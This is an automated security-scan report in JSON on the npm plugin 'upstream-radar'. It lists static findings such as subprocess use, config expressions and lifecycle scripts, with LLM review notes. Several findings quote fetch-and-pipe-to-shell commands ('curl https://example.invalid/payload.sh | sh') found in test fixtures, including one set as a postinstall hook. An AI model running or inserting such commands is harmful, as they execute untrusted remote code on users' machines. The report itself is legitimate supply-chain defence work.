{"schemaVersion":2,"dataVersion":"20260822T105549Z-0a0b366f","generatedAt":"2026-08-22T10:55:49.138Z","source":{"id":"micromilo-upstream-radar","slug":"micromilo-upstream-radar","rank":417,"url":"https://github.com/MicroMilo/upstream-radar","name":"MicroMilo/upstream-radar","category":"security","description":{"zh":"面向 DSH 插件的常驻依赖安全监控：追踪实际安装路径、OSV 漏洞、npm 发布和破坏性更新信号，再把项目证据交给 DSH Agent。","en":"Always-on dependency security for DSH plugins: tracks exact installed paths, OSV vulnerabilities, npm releases, and breaking-change signals, then routes project evidence to a DSH Agent."},"stars":6,"starsCheckedAt":"2026-08-21","repository":{"owner":"MicroMilo","repo":"upstream-radar","requestedRef":null,"subpath":""},"npm":"upstream-radar","downloads":10346,"installMode":"npm","upstreamInstall":"dsh plugin --profile web add upstream-radar","tarball":null,"added":"2026-08-15","page":"https://awesome-dsh-plugin.com/p/MicroMilo/upstream-radar/","screenshots":[],"discovery":{"provider":"awesome-dsh-plugin","channel":"plugins.json","indexUrl":"https://github.com/awesome-dsh-plugin/awesome-dsh-plugin","selection":"all curated entries"}},"report":{"sourceId":"micromilo-upstream-radar","slug":"micromilo-upstream-radar","policyVersion":"HT-DSH-0.2.2","scannedAt":"2026-08-22T08:24:45.560Z","scanStatus":"static-complete","verdict":"caution","score":89,"commit":"9cbe345d0b7813fb0a20b4a2817ef737cddcec04","commitDate":"2026-08-22T07:17:54Z","artifactDigest":"sha256:0644f0aaf3d4829f1e10df8c29a6c30b4eeec06409d9ad9f5c5c892eb7cdd90e","downloadUrl":"https://github.com/MicroMilo/upstream-radar/archive/9cbe345d0b7813fb0a20b4a2817ef737cddcec04.tar.gz","installMode":"npm","installCommand":"dsh plugin --profile web add upstream-radar","manifest":{"found":true,"path":"package.json","parseError":null,"packageName":"upstream-radar","packageVersion":"0.40.0","bundle":{"patch":"./cordis.patch.yml"},"client":null,"lifecycleScripts":{},"peerDependencies":[]},"identity":{"status":"found","installMode":"npm","upstreamNpm":"upstream-radar","manifestName":"upstream-radar","nameMatch":true,"npm":{"name":"upstream-radar","latestVersion":"0.40.0","publishedAt":"2026-08-21T09:41:37.970Z","createdAt":"2026-08-15T09:20:27.853Z","versionCount":61,"maintainers":1,"repository":"git+https://github.com/MicroMilo/upstream-radar.git","hasInstallScripts":false,"deprecated":false},"repositoryMatch":"match","provenance":"attested","tarballHost":null,"versionMatch":"match"},"permissions":{"bundlePatch":"cordis.patch.yml","inserts":[{"id":"upstream-radar","name":"upstream-radar/dsh","path":"cordis.patch.yml","disabled":false}],"overrides":[],"jsExpressions":8,"clientPlatform":null,"parseErrors":[]},"capabilities":["agent-control","browser-ui","credentials","environment","filesystem","host-bundle","network","session","subprocess","telemetry"],"outboundHosts":[{"host":"example.test","count":6},{"host":"api.github.com","count":4},{"host":"hooks.example.test","count":2},{"host":"osv.example.test","count":2},{"host":"open.feishu.cn","count":2},{"host":"slsa.dev","count":2},{"host":"www.cisa.gov","count":2},{"host":"api.github.test","count":1},{"host":"cisa.example.test","count":1},{"host":"epss.example.test","count":1},{"host":"alerts.example.test","count":1},{"host":"api.osv.dev","count":1},{"host":"api.first.org","count":1},{"host":"www.first.org","count":1}],"findings":[{"id":"HT-CONFIG-001","title":"Cordis 配置包含可执行 !!js 表达式","severity":"medium","confidence":"high","layer":"dsh-semantics","path":"cordis.patch.yml","pathClass":"cordis","line":7,"evidence":"!!js process.env.UPSTREAM_RADAR_CONFIG","remediation":"!!js 是 DSH 的官方配置机制；只在表达式引入模块、访问进程或网络时需要额外解释。","note":"表达式访问模块、进程或网络，超出读取注入服务的常规用法","hash":"5bda4e2e06943cc120d4a5e1"},{"id":"HT-CONFIG-001","title":"Cordis 配置包含可执行 !!js 表达式","severity":"medium","confidence":"high","layer":"dsh-semantics","path":"cordis.patch.yml","pathClass":"cordis","line":8,"evidence":"!!js process.env.UPSTREAM_RADAR_STATE","remediation":"!!js 是 DSH 的官方配置机制；只在表达式引入模块、访问进程或网络时需要额外解释。","note":"表达式访问模块、进程或网络，超出读取注入服务的常规用法","hash":"a21e58eeabc49bc363d5bbcd"},{"id":"HT-INSTALL-001","title":"安装阶段执行高风险生命周期脚本","severity":"high","confidence":"low","layer":"supply-chain","path":"examples/fixtures/block-remote-shell/package.json","pathClass":"test-example-docs","line":5,"evidence":"\"postinstall\": \"curl https://example.invalid/payload.sh | sh\"","remediation":"移除安装期执行，或提供可复现构建产物并将脚本降为显式命令。","note":"位于测试、示例或文档目录","hash":"d64ecd5205e4f12750db4027"},{"id":"HT-EXEC-002","title":"远程脚本直连 Shell 执行","severity":"critical","confidence":"low","layer":"static","path":"examples/fixtures/block-remote-shell/package.json","pathClass":"test-example-docs","line":5,"evidence":"curl https://example.invalid/payload.sh | sh","remediation":"禁止远程内容直接进入 Shell；下载、校验固定哈希后再由用户显式执行。","note":"命令位于字符串字面量中，执行路径需人工确认；位于测试、示例或文档目录","hash":"ebe42ea19deedf7bd901aa55"},{"id":"HT-INSTALL-001","title":"安装阶段执行高风险生命周期脚本","severity":"high","confidence":"low","layer":"supply-chain","path":"examples/fixtures/probe-unknown-dsh-plugin/package.json","pathClass":"test-example-docs","line":6,"evidence":"\"postinstall\": \"node ./index.js\"","remediation":"移除安装期执行，或提供可复现构建产物并将脚本降为显式命令。","note":"位于测试、示例或文档目录","hash":"db686cf0a9a119d62a2003e0"},{"id":"HT-INSTALL-002","title":"Git 安装会触发 prepare 构建脚本","severity":"medium","confidence":"low","layer":"supply-chain","path":"examples/fixtures/review-install-script/package.json","pathClass":"test-example-docs","line":6,"evidence":"\"prepare\": \"node scripts/build.js\"","remediation":"发布预构建制品（npm 或 GitHub Release tarball），并记录源码与发布包的一致性证明。","note":"该插件以 npm/tarball 预构建方式分发，prepare 不在用户机器上执行；位于测试、示例或文档目录","hash":"7126a8e55327f35fcd77dad4"},{"id":"HT-EXEC-002","title":"远程脚本直连 Shell 执行","severity":"critical","confidence":"low","layer":"static","path":"examples/reports/block-remote-shell.json","pathClass":"test-example-docs","line":24,"evidence":"curl https://example.invalid/payload.sh | sh","remediation":"禁止远程内容直接进入 Shell；下载、校验固定哈希后再由用户显式执行。","note":"命令位于字符串字面量中，执行路径需人工确认；位于测试、示例或文档目录","hash":"17f09c9268b9f15be49b6273"},{"id":"HT-EXEC-001","title":"直接创建宿主子进程","severity":"low","confidence":"medium","layer":"static","path":"scripts/consumer-smoke.mjs","pathClass":"source","line":3,"evidence":"node:child_process","remediation":"通过 DSH 的受控 subprocess/shell seam 执行，并公开命令、参数及审批策略。","hash":"8b60e6d17938c409d0bbd54d"},{"id":"HT-EXEC-001","title":"直接创建宿主子进程","severity":"low","confidence":"medium","layer":"static","path":"scripts/dsh-adoption-showcase.mjs","pathClass":"source","line":2,"evidence":"node:child_process","remediation":"通过 DSH 的受控 subprocess/shell seam 执行，并公开命令、参数及审批策略。","hash":"677f195cef43ffeb3fb1a1a0"},{"id":"HT-EXEC-001","title":"直接创建宿主子进程","severity":"low","confidence":"medium","layer":"static","path":"scripts/dsh-headless-showcase.mjs","pathClass":"source","line":1,"evidence":"node:child_process","remediation":"通过 DSH 的受控 subprocess/shell seam 执行，并公开命令、参数及审批策略。","hash":"539a0c06fd5fd851fcea2898"},{"id":"HT-EXEC-001","title":"直接创建宿主子进程","severity":"low","confidence":"medium","layer":"static","path":"scripts/dsh-load-probe-showcase.mjs","pathClass":"source","line":2,"evidence":"node:child_process","remediation":"通过 DSH 的受控 subprocess/shell seam 执行，并公开命令、参数及审批策略。","hash":"c1f9e867228afaacd0d90171"},{"id":"HT-EXEC-001","title":"直接创建宿主子进程","severity":"low","confidence":"medium","layer":"static","path":"scripts/dsh-runtime-graph-showcase.mjs","pathClass":"source","line":1,"evidence":"node:child_process","remediation":"通过 DSH 的受控 subprocess/shell seam 执行，并公开命令、参数及审批策略。","hash":"73762862ba22d89126b36f29"},{"id":"HT-EXEC-001","title":"直接创建宿主子进程","severity":"low","confidence":"medium","layer":"static","path":"scripts/monitor-dsh-findings.mjs","pathClass":"source","line":4,"evidence":"node:child_process","remediation":"通过 DSH 的受控 subprocess/shell seam 执行，并公开命令、参数及审批策略。","hash":"30bc344cb230f70b35d02773"},{"id":"HT-EXEC-001","title":"直接创建宿主子进程","severity":"low","confidence":"medium","layer":"static","path":"scripts/npm-lock-monitor-showcase.mjs","pathClass":"source","line":3,"evidence":"spawnSync","remediation":"通过 DSH 的受控 subprocess/shell seam 执行，并公开命令、参数及审批策略。","hash":"c05ad2ac39f55f9113d5a0e6"},{"id":"HT-EXEC-001","title":"直接创建宿主子进程","severity":"low","confidence":"medium","layer":"static","path":"scripts/npm-lock-monitor-showcase.mjs","pathClass":"source","line":3,"evidence":"node:child_process","remediation":"通过 DSH 的受控 subprocess/shell seam 执行，并公开命令、参数及审批策略。","hash":"566e99180d684ec198791839"},{"id":"HT-EXEC-001","title":"直接创建宿主子进程","severity":"low","confidence":"medium","layer":"static","path":"scripts/pnpm-lock-showcase.mjs","pathClass":"source","line":3,"evidence":"spawnSync","remediation":"通过 DSH 的受控 subprocess/shell seam 执行，并公开命令、参数及审批策略。","hash":"6ad8c110038cebff5b8addf9"},{"id":"HT-EXEC-001","title":"直接创建宿主子进程","severity":"low","confidence":"medium","layer":"static","path":"scripts/pnpm-lock-showcase.mjs","pathClass":"source","line":3,"evidence":"node:child_process","remediation":"通过 DSH 的受控 subprocess/shell seam 执行，并公开命令、参数及审批策略。","hash":"31ddf9b16957c86f09af5bf7"},{"id":"HT-EXEC-001","title":"直接创建宿主子进程","severity":"low","confidence":"medium","layer":"static","path":"scripts/refresh-dsh-batch-index.mjs","pathClass":"source","line":5,"evidence":"node:child_process","remediation":"通过 DSH 的受控 subprocess/shell seam 执行，并公开命令、参数及审批策略。","hash":"cc10e44706c320a29838e769"},{"id":"HT-EXEC-001","title":"直接创建宿主子进程","severity":"low","confidence":"medium","layer":"static","path":"scripts/release-preflight.mjs","pathClass":"source","line":2,"evidence":"spawnSync","remediation":"通过 DSH 的受控 subprocess/shell seam 执行，并公开命令、参数及审批策略。","hash":"2c32e3f5aa9e9fdac1e1d1af"},{"id":"HT-EXEC-001","title":"直接创建宿主子进程","severity":"low","confidence":"medium","layer":"static","path":"scripts/release-preflight.mjs","pathClass":"source","line":2,"evidence":"node:child_process","remediation":"通过 DSH 的受控 subprocess/shell seam 执行，并公开命令、参数及审批策略。","hash":"ae6162f35304aa1925cdd464"},{"id":"HT-EXEC-001","title":"直接创建宿主子进程","severity":"low","confidence":"medium","layer":"static","path":"scripts/setup-start-showcase.mjs","pathClass":"source","line":2,"evidence":"spawnSync","remediation":"通过 DSH 的受控 subprocess/shell seam 执行，并公开命令、参数及审批策略。","hash":"364d15ffec5e4e2554363932"},{"id":"HT-EXEC-001","title":"直接创建宿主子进程","severity":"low","confidence":"medium","layer":"static","path":"scripts/setup-start-showcase.mjs","pathClass":"source","line":2,"evidence":"node:child_process","remediation":"通过 DSH 的受控 subprocess/shell seam 执行，并公开命令、参数及审批策略。","hash":"3a6538d5b319c7d4c1e68816"},{"id":"HT-EXEC-001","title":"直接创建宿主子进程","severity":"low","confidence":"medium","layer":"static","path":"src/cli.ts","pathClass":"source","line":4,"evidence":"spawnSync","remediation":"通过 DSH 的受控 subprocess/shell seam 执行，并公开命令、参数及审批策略。","hash":"c634a01f8d04470446ed90b5"},{"id":"HT-EXEC-001","title":"直接创建宿主子进程","severity":"low","confidence":"medium","layer":"static","path":"src/cli.ts","pathClass":"source","line":4,"evidence":"node:child_process","remediation":"通过 DSH 的受控 subprocess/shell seam 执行，并公开命令、参数及审批策略。","hash":"93b630cc391cd66bd8db8ef7"},{"id":"HT-EXEC-001","title":"直接创建宿主子进程","severity":"low","confidence":"medium","layer":"static","path":"src/dsh-install-observation.ts","pathClass":"source","line":2,"evidence":"node:child_process","remediation":"通过 DSH 的受控 subprocess/shell seam 执行，并公开命令、参数及审批策略。","hash":"95e2571cd274ea1b8be134d1"},{"id":"HT-EXEC-001","title":"直接创建宿主子进程","severity":"low","confidence":"medium","layer":"static","path":"src/dsh-probe.ts","pathClass":"source","line":2,"evidence":"node:child_process","remediation":"通过 DSH 的受控 subprocess/shell seam 执行，并公开命令、参数及审批策略。","hash":"4920685223f837e9a0981095"},{"id":"HT-EXEC-001","title":"直接创建宿主子进程","severity":"low","confidence":"medium","layer":"static","path":"src/dsh-review.ts","pathClass":"source","line":2,"evidence":"node:child_process","remediation":"通过 DSH 的受控 subprocess/shell seam 执行，并公开命令、参数及审批策略。","hash":"e37480a14907a01a81c61107"},{"id":"HT-EXEC-001","title":"直接创建宿主子进程","severity":"low","confidence":"medium","layer":"static","path":"src/npm.ts","pathClass":"source","line":7,"evidence":"node:child_process","remediation":"通过 DSH 的受控 subprocess/shell seam 执行，并公开命令、参数及审批策略。","hash":"151b2efedb0200ec9ea560f6"},{"id":"HT-EXEC-001","title":"直接创建宿主子进程","severity":"low","confidence":"medium","layer":"static","path":"src/repository.ts","pathClass":"source","line":1,"evidence":"spawnSync","remediation":"通过 DSH 的受控 subprocess/shell seam 执行，并公开命令、参数及审批策略。","hash":"5d62b450dad28da359f32661"},{"id":"HT-EXEC-001","title":"直接创建宿主子进程","severity":"low","confidence":"medium","layer":"static","path":"src/repository.ts","pathClass":"source","line":1,"evidence":"node:child_process","remediation":"通过 DSH 的受控 subprocess/shell seam 执行，并公开命令、参数及审批策略。","hash":"a3e7cf7e04bbe1c542f68734"},{"id":"HT-EXEC-001","title":"直接创建宿主子进程","severity":"low","confidence":"medium","layer":"static","path":"src/upstream-observer.ts","pathClass":"source","line":3,"evidence":"node:child_process","remediation":"通过 DSH 的受控 subprocess/shell seam 执行，并公开命令、参数及审批策略。","hash":"b25e2439dfeef84910fb496a"},{"id":"HT-EXEC-001","title":"直接创建宿主子进程","severity":"low","confidence":"low","layer":"static","path":"test/action-summary.test.ts","pathClass":"test-example-docs","line":2,"evidence":"spawnSync","remediation":"通过 DSH 的受控 subprocess/shell seam 执行，并公开命令、参数及审批策略。","note":"位于测试、示例或文档目录","hash":"77da4393234547d2ff2f1326"},{"id":"HT-EXEC-001","title":"直接创建宿主子进程","severity":"low","confidence":"low","layer":"static","path":"test/action-summary.test.ts","pathClass":"test-example-docs","line":2,"evidence":"node:child_process","remediation":"通过 DSH 的受控 subprocess/shell seam 执行，并公开命令、参数及审批策略。","note":"位于测试、示例或文档目录","hash":"50ae2dc4880c8b3b30c49bc8"},{"id":"HT-EXEC-001","title":"直接创建宿主子进程","severity":"low","confidence":"low","layer":"static","path":"test/action.test.ts","pathClass":"test-example-docs","line":6,"evidence":"node:child_process","remediation":"通过 DSH 的受控 subprocess/shell seam 执行，并公开命令、参数及审批策略。","note":"位于测试、示例或文档目录","hash":"cb21d1bb36adfd5e24b3cea9"},{"id":"HT-EXEC-001","title":"直接创建宿主子进程","severity":"low","confidence":"low","layer":"static","path":"test/cli.test.ts","pathClass":"test-example-docs","line":2,"evidence":"spawnSync","remediation":"通过 DSH 的受控 subprocess/shell seam 执行，并公开命令、参数及审批策略。","note":"位于测试、示例或文档目录","hash":"17f5b81b299d44329c3df8da"},{"id":"HT-EXEC-001","title":"直接创建宿主子进程","severity":"low","confidence":"low","layer":"static","path":"test/cli.test.ts","pathClass":"test-example-docs","line":2,"evidence":"node:child_process","remediation":"通过 DSH 的受控 subprocess/shell seam 执行，并公开命令、参数及审批策略。","note":"位于测试、示例或文档目录","hash":"3ab179c82028987c01eacfd5"},{"id":"HT-EXEC-001","title":"直接创建宿主子进程","severity":"low","confidence":"low","layer":"static","path":"test/release-preflight.test.ts","pathClass":"test-example-docs","line":2,"evidence":"spawnSync","remediation":"通过 DSH 的受控 subprocess/shell seam 执行，并公开命令、参数及审批策略。","note":"位于测试、示例或文档目录","hash":"e4f5852b20bdb9cb00055b24"},{"id":"HT-EXEC-001","title":"直接创建宿主子进程","severity":"low","confidence":"low","layer":"static","path":"test/release-preflight.test.ts","pathClass":"test-example-docs","line":2,"evidence":"node:child_process","remediation":"通过 DSH 的受控 subprocess/shell seam 执行，并公开命令、参数及审批策略。","note":"位于测试、示例或文档目录","hash":"a89da7f15a6ad51cfbe2fd71"},{"id":"HT-EXEC-002","title":"远程脚本直连 Shell 执行","severity":"critical","confidence":"low","layer":"static","path":"test/render.test.ts","pathClass":"test-example-docs","line":33,"evidence":"curl https://example.invalid/install.sh | sh","remediation":"禁止远程内容直接进入 Shell；下载、校验固定哈希后再由用户显式执行。","note":"命令位于字符串字面量中，执行路径需人工确认；位于测试、示例或文档目录","hash":"b41f8ada4badae73a15692d9"},{"id":"HT-EXEC-002","title":"远程脚本直连 Shell 执行","severity":"critical","confidence":"low","layer":"static","path":"test/scan.test.ts","pathClass":"test-example-docs","line":69,"evidence":"curl https://example.invalid/install.sh | sh","remediation":"禁止远程内容直接进入 Shell；下载、校验固定哈希后再由用户显式执行。","note":"命令位于字符串字面量中，执行路径需人工确认；位于测试、示例或文档目录","hash":"cdab350ea42b363c665259a8"},{"id":"HT-DATA-001","title":"同一模块同时接触凭据与网络","severity":"medium","confidence":"medium","layer":"static","path":"scripts/dsh-case-showcase.mjs","pathClass":"source","line":33,"evidence":"credential access at line 33 + outbound network at line 104","remediation":"拆分能力边界，限定目的域名，并提供不会发送凭据值的可验证证明。","hash":"e8919f54ca730b4fac9f2dae","review":{"verdict":"functional","reason":"该文件属于开发用 showcase 脚本(未列入 package.json files 字段，不随 npm 包发布)，仅在显式传入 --env-file 或用户自行设置 ISSUE_LOCATOR_LLM_* 环境变量时，把该 baseUrl/apiKey 用于用户自己配置的 LLM 服务，属于案例分析工具的正常功能。","model":"sonnet@p2","reviewedAt":"2026-08-21T11:25:34.166Z"}},{"id":"HT-DATA-001","title":"同一模块同时接触凭据与网络","severity":"medium","confidence":"medium","layer":"static","path":"src/upstream-observer.ts","pathClass":"source","line":1904,"evidence":"credential access at line 1904 + outbound network at line 1778","remediation":"拆分能力边界，限定目的域名，并提供不会发送凭据值的可验证证明。","hash":"67e7922a7c550ec9117211ea","review":{"verdict":"functional","reason":"读取标准 GITHUB_TOKEN 环境变量并注入 UpstreamObserverClient，用于向 GitHub API 发起认证请求以监控依赖发布/变更，凭据发往其本身对应的服务方，符合插件“追踪上游变更”的既定用途。","model":"sonnet@p2","reviewedAt":"2026-08-21T11:25:34.166Z"}}],"counts":{"critical":0,"high":0,"medium":4,"low":24},"rawCounts":{"critical":4,"high":2,"medium":5,"low":31},"vulnerabilities":[],"coverage":{"source":"complete","manifest":"complete","bundleConfig":"complete","dependencies":"lockfile-present","vulnerabilities":"complete","identity":"complete","artifact":"not-compared","llmReview":"complete","dynamicRuntime":"not-run","humanReview":"not-run"},"inventory":{"filesScanned":350,"bytesScanned":4381002,"truncated":false,"lockfiles":["pnpm-lock.yaml"],"pathClasses":{"test-example-docs":249,"markdown":13,"yaml":2,"cordis":1,"manifest":1,"data":8,"source":76}},"limitations":["此结果为源码静态检测，不等同于无漏洞证明。","尚未比对 npm 发布包与源码的一致性，也未执行隔离运行和人工复核。","危险能力可能是插件功能所需，需结合用途与证据人工判断。"],"limitationKeys":["static-analysis-only","no-artifact-runtime-human-review","capability-needs-context"],"review":{"model":"sonnet","reviewedAt":"2026-08-22T08:24:45.560Z","summary":null,"intentMatch":null,"findingsReviewed":2,"findingsCandidates":2,"fromCache":2,"usage":null}},"timeline":[{"scannedAt":"2026-08-22T08:24:45.560Z","commit":"9cbe345d0b7813fb0a20b4a2817ef737cddcec04","policyVersion":"HT-DSH-0.2.2","verdict":"caution","status":"static-complete"},{"scannedAt":"2026-08-21T11:25:34.166Z","commit":"a6bfd62bdd89bef14845d059d481e9293608a5aa","policyVersion":"HT-DSH-0.2.1","verdict":"caution","status":"static-complete"},{"scannedAt":"2026-08-21T10:54:06.068Z","commit":"a6bfd62bdd89bef14845d059d481e9293608a5aa","policyVersion":"HT-DSH-0.2.0","verdict":"caution","status":"static-complete"}],"events":[{"kind":"policy-change","from":"HT-DSH-0.2.1","to":"HT-DSH-0.2.2","commit":"9cbe345d0b7813fb0a20b4a2817ef737cddcec04","policyVersion":"HT-DSH-0.2.2","at":"2026-08-22T08:24:45.560Z"},{"kind":"policy-change","from":"HT-DSH-0.2.0","to":"HT-DSH-0.2.1","commit":"a6bfd62bdd89bef14845d059d481e9293608a5aa","policyVersion":"HT-DSH-0.2.1","at":"2026-08-21T11:25:34.166Z"},{"kind":"first-scan","from":null,"to":"caution","commit":"a6bfd62bdd89bef14845d059d481e9293608a5aa","policyVersion":"HT-DSH-0.2.0","at":"2026-08-21T10:54:06.068Z"}]}